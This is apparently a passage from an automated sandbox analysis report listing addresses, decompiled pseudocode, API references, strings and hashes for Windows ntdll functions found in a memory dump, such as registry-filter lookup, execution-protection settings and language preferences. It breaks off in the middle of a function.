0x6a9399fb
0x6a9399fb
0x00000000
0x6a939a48
0x6a939a48
0x6a939a4c
0x6a939a51
0x6a939a55
0x6a939a61
0x6a939a66
0x6a939a68
0x6a981457
0x6a98145c
0x6a98145c
0x6a939a68
0x6a939a6e
0x6a939a71
0x6a939a74
0x6a939a76
0x6a981466
0x6a981469
0x6a981469
0x6a98146c
0x6a98146e
0x6a981471
0x6a981474
0x6a981477
0x6a981479
0x6a98159c
0x6a98159c
0x6a98159d
0x6a9815a6
0x6a9815ab
0x6a9815ab
0x00000000
0x6a9815ab
0x6a98147f
0x6a981481
0x00000000
0x00000000
0x6a98148a
0x6a98148d
0x6a981493
0x6a981495
0x6a9814c0
0x6a9814c0
0x6a9814c3
0x6a9814c6
0x6a9814c8
0x6a9814cb
0x6a9814cf
0x6a9814f2
0x6a9814f2
0x6a9814f5
0x6a9814f8
0x6a981501
0x6a981508
0x6a98150b
0x6a98150e
0x6a981510
0x6a981513
0x6a981515
0x6a981515
0x6a981518
0x6a981518
0x6a981513
0x6a981521
0x6a981525
0x6a98152a
0x6a98152d
0x6a981530
0x6a981532
0x6a981539
0x6a98153d
0x6a98155d
0x6a981562
0x6a98153f
0x6a981555
0x6a98155a
0x6a981570
0x6a981577
0x6a98157c
0x6a981582
0x6a981585
0x6a981589
0x6a98158b
0x6a981592
0x6a981593
0x6a981593
0x6a981589
0x6a981530
0x00000000
0x6a9814f8
0x6a9814d5
0x6a9814da
0x6a9814dc
0x00000000
0x6a9814de
0x6a9814e8
0x00000000
0x6a9814e8
0x6a981497
0x6a981497
0x6a9814a4
0x6a9814a4
0x6a9814a7
0x6a9814a9
0x6a9814ab
0x6a9814ab
0x6a98149c
0x6a98149e
0x6a9814a0
0x6a9814b0
0x6a9814b0
0x00000000
0x6a9814a2
0x6a9814a2
0x00000000
0x6a9814a2
0x6a9814a0
0x6a9814b3
0x6a9814bb
0x00000000
0x6a9814bb
0x6a981495
0x6a939a7c
0x6a939a7c
0x6a939a7f
0x6a939a7f
0x6a939a82
0x6a939a84
0x6a939a87
0x6a939a8a
0x6a939a8d
0x6a939a8f
0x6a98166a
0x6a98166a
0x6a98166b
0x6a981674
0x00000000
0x6a981674
0x6a939a95
0x6a939a97
0x00000000
0x00000000
0x6a939aa0
0x6a939aa3
0x6a939aa9
0x6a939aab
0x6a939ad7
0x6a939ad7
0x6a939ada
0x6a939add
0x6a939adf
0x6a939ae2
0x6a939ae6
0x6a939b22
0x6a939b27
0x6a939b29
0x00000000
0x6a939b2b
0x6a9815be
0x00000000
0x6a9815be
0x6a939b29
0x6a939ae8
0x6a939ae8
0x6a939aeb
0x6a939aee
0x6a9815cb
0x6a9815d2
0x6a9815d5
0x6a9815d7
0x6a9815da
0x6a9815dc
0x6a9815dc
0x6a9815dc
0x6a9815da
0x6a9815e5
0x6a9815e9
0x6a9815ee
0x6a9815f1
0x6a9815f3
0x6a9815f9
0x6a981600
0x6a981604
0x6a981624
0x6a981629
0x6a981606
0x6a98161c
0x6a981621
0x6a981637
0x6a98163e
0x6a981643
0x6a981649
0x6a98164c
0x6a981650
0x6a981656
0x6a98165d
0x6a98165e
0x6a98165e
0x6a981650
0x6a9815f3
0x6a939af4
0x6a939af7
0x6a939afc
0x6a939b00
0x6a939b04
0x6a939b08
0x6a939b14
0x6a9399fe
0x6a939a04
0x6a939a07
0x00000000
0x6a939a29
0x6a98169c
0x6a9816a0
0x6a9816a5
0x6a9816a9
0x6a9816b5
0x6a9816ba
0x6a9816bc
0x6a9816be
0x6a9816c3
0x6a9816c3
0x6a9816bc
0x6a9816c8
0x6a9816cc
0x6a98181b
0x6a98181b
0x6a98181e
0x6a98181e
0x6a981821
0x6a981823
0x6a981826
0x6a981829
0x6a98182c
0x6a98182e
0x6a981688
0x6a981688
0x6a981689
0x6a98168b
0x6a98168c
0x6a98168d
0x6a98168f
0x6a981692
0x00000000
0x6a981692
0x6a981834
0x6a981836
0x00000000
0x00000000
0x6a98183f
0x6a981842
0x6a981848
0x6a98184a
0x6a981875
0x6a981875
0x6a981878
0x6a98187b
0x6a98187d
0x6a981880
0x6a981884
0x6a9818a7
0x6a9818a7
0x6a9818aa
0x6a9818ad
0x6a9818b6
0x6a9818bd
0x6a9818c0
0x6a9818c3
0x6a9818c5
0x6a9818c8
0x6a9818ca
0x6a9818ca
0x6a9818cd
0x6a9818cd
0x6a9818c8
0x6a9818d5
0x6a9818da
0x6a9818df
0x6a9818e2
0x6a9818e5
0x6a9818e7
0x6a9818ee
0x6a9818f2
0x6a981912
0x6a981917
0x6a9818f4
0x6a98190a
0x6a98190f
0x6a981925
0x6a98192c
0x6a981931
0x6a98193a
0x6a98193e
0x6a981940
0x6a981947
0x6a981948
0x6a981948
0x6a98193e
0x6a9818e5
0x6a98194f
0x6a981952
0x6a981956
0x6a98195d
0x6a981961
0x6a98196d
0x00000000
0x6a98196d
0x6a98188a
0x6a98188f
0x6a981891
0x00000000
0x00000000
0x6a98189d
0x00000000
0x6a98189d
0x6a98184c
0x6a981859
0x6a981859
0x6a98185c
0x00000000
0x00000000
0x6a981851
0x6a981853
0x6a981855
0x6a981865
0x6a981865
0x6a981866
0x6a981868
0x6a981870
0x00000000
0x6a981870
0x6a981857
0x6a981857
0x6a98185e
0x00000000
0x6a9816d2
0x6a9816d2
0x6a9816d5
0x6a9816d5
0x6a9816d8
0x6a9816da
0x6a9816dd
0x6a9816e0
0x6a9816e3
0x6a9816e5
0x6a981808
0x6a981808
0x6a981809
0x6a981812
0x6a981817
0x6a981817
0x00000000
0x6a981817
0x6a9816eb
0x6a9816ed
0x00000000
0x00000000
0x6a9816f6
0x6a9816f9
0x6a9816ff
0x6a981701
0x6a98172c
0x6a98172c
0x6a98172f
0x6a981732
0x6a981734
0x6a981737
0x6a98173b
0x6a98175e
0x6a98175e
0x6a981761
0x6a981764
0x6a98176d
0x6a981774
0x6a981777
0x6a98177a
0x6a98177c
0x6a98177f
0x6a981781
0x6a981781
0x6a981784
0x6a981784
0x6a98177f
0x6a98178c
0x6a981791
0x6a981796
0x6a981799
0x6a98179c
0x6a98179e
0x6a9817a5
0x6a9817a9
0x6a9817c9
0x6a9817ce
0x6a9817ab
0x6a9817c1
0x6a9817c6
0x6a9817dc
0x6a9817e3
0x6a9817e8
0x6a9817ee
0x6a9817f1
0x6a9817f5
0x6a9817f7
0x6a9817fe
0x6a9817ff
0x6a9817ff
0x6a9817f5
0x6a98179c
0x00000000
0x6a981764
0x6a981741
0x6a981746
0x6a981748
0x00000000
0x00000000
0x6a981754
0x00000000
0x6a981754
0x6a981703
0x6a981710
0x6a981710
0x6a981713
0x00000000
0x00000000
0x6a981708
0x6a98170a
0x6a98170c
0x6a98171c
0x6a98171c
0x6a98171d
0x6a98171f
0x6a981727
0x00000000
0x6a981727
0x6a98170e
0x6a98170e
0x6a981715
0x00000000
0x6a981715
0x6a9816cc
0x6a939a45
0x6a939a45
0x6a939a0e
0x6a939a1c
0x6a939a23
0x6a98167e
0x6a98167f
0x6a981681
0x6a981683
0x6a981684
0x00000000
0x6a981684
0x00000000
0x6a939aad
0x6a939aad
0x6a939ab0
0x6a939ab3
0x6a939ab3
0x6a939ab6
0x00000000
0x00000000
0x6a939ab8
0x6a939aba
0x6a939abc
0x6a939ac8
0x6a939ac8
0x00000000
0x6a939abe
0x6a939abe
0x6a939ac0
0x00000000
0x6a939ac0
0x6a939abc
0x6a939ad2
0x00000000
0x6a939ad2
0x6a939aab

Strings

HEAP: , xrefs: 6A98155D, 6A981624, 6A9817C9, 6A981912
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 6A981572, 6A981639, 6A9817DE, 6A981927
HEAP[%wZ]: , xrefs: 6A981550, 6A981617, 6A9817BC, 6A981905

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 6feb5f9a178d1eccf1021eb436c03d6066cca78f4a600cf083c1794b523ea66b
Instruction ID: 788989181d0434f8d08ea4c2341eda8ad1c87aaf69afc1197d09a5e5c6d0b95d
Opcode Fuzzy Hash: 6feb5f9a178d1eccf1021eb436c03d6066cca78f4a600cf083c1794b523ea66b
Instruction Fuzzy Hash: 1322E2B06042459FDB14CF28C494B6AB7F9EF46708F358969E4A6CB342EF75D881CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A918239, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 233
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6A918239(signed int* __ecx, long* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				long _v568;
				long _v572;
				intOrPtr _v576;
				short _v578;
				void* _v580;
				signed int _v584;
				intOrPtr _v586;
				void* _v588;
				void* _v592;
				void* _v596;
				intOrPtr _v600;
				long* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				void* _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				void* _t99;
				long _t118;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				void* _t138;
				intOrPtr _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0x6aa0d360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E6A926D30( &_v580, L"UseFilter") < 0) {
					L4:
					return E6A95B640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = E6A959650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E6A926D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(RtlPrefixUnicodeString( &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E6A959820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = E6A959600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E6A926D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
								E6A9595D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = E6A959650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
									}
									_t147 =  *( *[fs:0x30] + 0x18);
									if(_t147 != 0) {
										_t150 = RtlAllocateHeap(_t147,  *0x6aa07b9c + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(RtlCompareUnicodeString( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E6A9595D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E6A9595D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x6a918239
0x6a91824b
0x6a91824e
0x6a91825d
0x6a918260
0x6a91826e
0x6a918275
0x6a91827b
0x6a91827d
0x6a918287
0x6a918294
0x6a9182ce
0x6a9182de
0x6a9182de
0x6a91829c
0x6a91829d
0x6a9182a8
0x6a9182a9
0x6a9182b1
0x6a9182b2
0x6a9182b4
0x6a9182bb
0x6a972dfa
0x6a9182cc
0x6a9182cc
0x6a972e19
0x6a972e19
0x6a972e1b
0x6a972e1e
0x6a972e30
0x6a972e3d
0x00000000
0x00000000
0x6a972e5a
0x6a972e61
0x6a972e68
0x6a972e72
0x6a972e72
0x6a972e78
0x6a972e7e
0x6a972e80
0x6a972e86
0x6a972e8c
0x6a972e8c
0x6a972e92
0x6a972e93
0x6a972e99
0x6a972e9a
0x6a972e9c
0x6a972e9d
0x6a972ea4
0x6a972ea8
0x00000000
0x00000000
0x6a972eae
0x6a972eb8
0x6a972ec3
0x6a972eca
0x6a972ed1
0x6a972edb
0x6a972ee3
0x6a972eef
0x6a972efb
0x6a972efc
0x6a972f08
0x6a972f12
0x6a972f13
0x6a972f22
0x6a972f26
0x00000000
0x00000000
0x6a972f3d
0x6a972f41
0x6a973069
0x6a973069
0x6a97306f
0x00000000
0x6a97306f
0x6a972f47
0x6a972f4d
0x6a972f53
0x6a972f59
0x6a972f5a
0x6a972f5b
0x6a972f5c
0x6a972f64
0x6a972f65
0x6a972f70
0x6a972f78
0x6a972f84
0x6a972f92
0x6a972f92
0x6a972f9d
0x6a972fa2
0x6a973004
0x6a973008
0x00000000
0x00000000
0x6a97300a
0x6a973010
0x6a973012
0x6a973018
0x00000000
0x6a972fa4
0x6a972fa4
0x6a972fa6
0x6a972fa6
0x00000000
0x6a972fa6
0x6a972fab
0x6a972fab
0x6a972fab
0x6a972fab
0x6a972fb1
0x6a972fb1
0x6a972fc1
0x6a972fc7
0x6a972fcf
0x6a973020
0x6a97302a
0x00000000
0x00000000
0x6a97302c
0x6a973034
0x00000000
0x00000000
0x6a973036
0x6a973039
0x6a973040
0x6a97304a
0x6a973067
0x00000000
0x00000000
0x00000000
0x6a973067
0x6a972fd1
0x6a972fd7
0x6a972fdc
0x6a972fe4
0x6a972fe6
0x6a973074
0x6a97307a
0x6a973080
0x6a973081
0x6a973087
0x6a973091
0x6a97309f
0x6a97309f
0x6a9730a6
0x6a9730a8
0x6a9730aa
0x6a9730b5
0x6a9730b5
0x6a9730b7
0x6a9730bf
0x6a9730c1
0x6a9730c1
0x00000000
0x6a972dfa
0x6a9182c6
0x6a972ddd
0x00000000
0x00000000
0x6a972de8
0x00000000
0x00000000
0x6a972dee
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,UseFilter,?,00000000,?), ref: 6A91828D
ZwQueryValueKey.1105(?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6A9182B4
RtlInitUnicodeStringEx.1105(?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6A972E36
RtlPrefixUnicodeString.1105(?,?,00000001,?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6A972E53
ZwEnumerateKey.1105(?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?,00000220), ref: 6A972E9F
ZwOpenKey.1105(00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?), ref: 6A972F1D
RtlInitUnicodeStringEx.1105(?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\), ref: 6A972F38
ZwQueryValueKey.1105(00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220), ref: 6A972F6B
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000), ref: 6A972F92

Strings

UseFilter, xrefs: 6A918263
\??\, xrefs: 6A972E2A
FilterFullPath, xrefs: 6A972F2C

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Init$QueryValue$EnumerateFreeHeapOpenPrefix
String ID: FilterFullPath$UseFilter$\??\
API String ID: 941260810-2779062949
Opcode ID: 9a0558a355f3f05a37531c4c64b772ce42b959058c0c17bd339703ce7b494820
Instruction ID: 4b2a1ca6c35979edf91af6b386b706e3a224b62bda4e4c569ea0e5159ecfe65d
Opcode Fuzzy Hash: 9a0558a355f3f05a37531c4c64b772ce42b959058c0c17bd339703ce7b494820
Instruction Fuzzy Hash: 9DA18D719116299FDB31CF24CC88BAAB7B8EF44704F2141EAE918A7250DB35DE84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9140FD, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A9140FD(void* __ecx) {
				signed int _v8;
				long _v548;
				signed int _v552;
				char _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t53;
				unsigned int _t66;
				void* _t68;
				wchar_t* _t73;
				intOrPtr _t77;
				short* _t85;
				wchar_t* _t98;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x6aa0d360 ^ _t107;
				_v8 =  *0x6aa0d360 ^ _t107;
				_t105 = __ecx;
				if( *0x6aa084d4 == 0) {
					L5:
					return E6A95B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E6A92E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					if(E6A9142EB(_t105) != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E6A9141EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
						}
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E6A9596C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					if(E6A91429E(_t105 + 0x2c, _t102) >= 0) {
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E6A9A5720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						memset( &_v548, 0, 0x214);
						_t106 =  *0x6aa084d4;
						_t110 = _t108 + 0x20;
						 *0x6aa0b1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						if( *( *0x6aa084d4)() == 0) {
							goto L8;
						}
						_t66 = _v560;
						if(_t66 == 0 || _t66 >= 0x214) {
							goto L8;
						} else {
							_t68 = (_t66 >> 1) * 2 - 2;
							if(_t68 >= 0x214) {
								E6A95B75A();
								goto L33;
							}
							_push(_t85);
							 *((short*)(_t107 + _t68 - 0x220)) = 0;
							E6A9A5720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
							_t111 = _t110 + 0x14;
							_t73 = wcsstr( &_v548, L"Execute=1");
							_push(_t85);
							if(_t73 == 0) {
								E6A9A5720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
								_t106 =  &_v548;
								_t98 = _t106;
								_t112 = _t111 + 0x14;
								_t77 = _t98 + _v560;
								_v556 = _t77;
								if(_t98 >= _t77) {
									goto L8;
								} else {
									goto L27;
								}
								do {
									L27:
									_t85 = wcschr(_t106, 0x20);
									if(_t85 != 0) {
										 *_t85 = 0;
									}
									E6A9A5720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
									_t112 = _t112 + 0x10;
									E6A993E13(_t105, _t106);
									if(_t85 == 0) {
										goto L8;
									}
									_t41 = _t85 + 2; // 0x2
									_t106 = _t41;
								} while (_t106 < _v556);
								goto L8;
							}
							_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
							_push(3);
							_push(0x55);
							E6A9A5720();
							goto L15;
						}
					}
					L8:
					if(E6A9141F7(_t105) != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x6a91410d
0x6a91410f
0x6a91411c
0x6a91411e
0x6a914158
0x6a914168
0x6a914168
0x6a914126
0x6a914130
0x6a91413c
0x6a9704a2
0x6a914142
0x6a91414b
0x6a91414b
0x6a91414f
0x6a91416b
0x6a914178
0x6a9141d0
0x6a9141d2
0x6a9141d3
0x6a9141a7
0x6a9141b0
0x6a9141db
0x6a9141b2
0x6a9141b8
0x6a9141bf
0x6a9141c1
0x6a9141c1
0x6a9141c5
0x6a9141df
0x6a9141e2
0x6a9141e2
0x6a9141c9
0x6a970628
0x6a970628
0x6a970630
0x6a970631
0x6a970633
0x6a970635
0x6a970635
0x00000000
0x6a9141c9
0x6a91417d
0x6a914183
0x6a914190
0x6a9704af
0x00000000
0x00000000
0x6a9704b5
0x6a9704c8
0x6a9704d5
0x6a9704e5
0x6a9704ea
0x6a9704f6
0x6a970518
0x6a970522
0x00000000
0x00000000
0x6a970528
0x6a970530
0x00000000
0x6a970543
0x6a970545
0x6a97054e
0x6a970623
0x00000000
0x6a970623
0x6a970556
0x6a970557
0x6a97056f
0x6a970574
0x6a970583
0x6a97058a
0x6a97058d
0x6a9705b5
0x6a9705c0
0x6a9705c6
0x6a9705c8
0x6a9705cb
0x6a9705cd
0x6a9705d5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9705db
0x6a9705db
0x6a9705e3
0x6a9705e9
0x6a9705ed
0x6a9705ed
0x6a9705fa
0x6a9705ff
0x6a970606
0x6a97060d
0x00000000
0x00000000
0x6a970613
0x6a970613
0x6a970616
0x00000000
0x6a97061e
0x6a97058f
0x6a970594
0x6a970596
0x6a970598
0x00000000
0x6a97059d
0x6a970530
0x6a914196
0x6a91419f
0x00000000
0x00000000
0x6a9141a1
0x00000000
0x6a914151
0x6a914151
0x6a914151
0x00000000
0x6a914151

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?), ref: 6A914130
ZwSetInformationProcess.1105(000000FF,00000022,?,00000004,00000003,?,00000000,00000000,?), ref: 6A970635

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 6A9705F1
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 6A970566
Execute=1, xrefs: 6A97057D
ExecuteOptions, xrefs: 6A97050A
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 6A9705AC
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 6A9704BF
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 6A97058F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImageInformationProcess
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 4034523672-484625025
Opcode ID: 8076b5c9d5837fb45cee18e4c7cadecee4d2b320e8380eb0a9ad9093ef111449
Instruction ID: c4c7be62e88f636f5237c795f260bab69a24aa8c2627a570e7fd6eb9ed0cafde
Opcode Fuzzy Hash: 8076b5c9d5837fb45cee18e4c7cadecee4d2b320e8380eb0a9ad9093ef111449
Instruction Fuzzy Hash: 4D6116B164421D7AEF20DA94DCC9BA973BCAF79308F210499D514A7182EF70DE45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CCF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6A9CCF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6A91F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6A959600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6A9595D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6A91F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6A959600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6A91F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
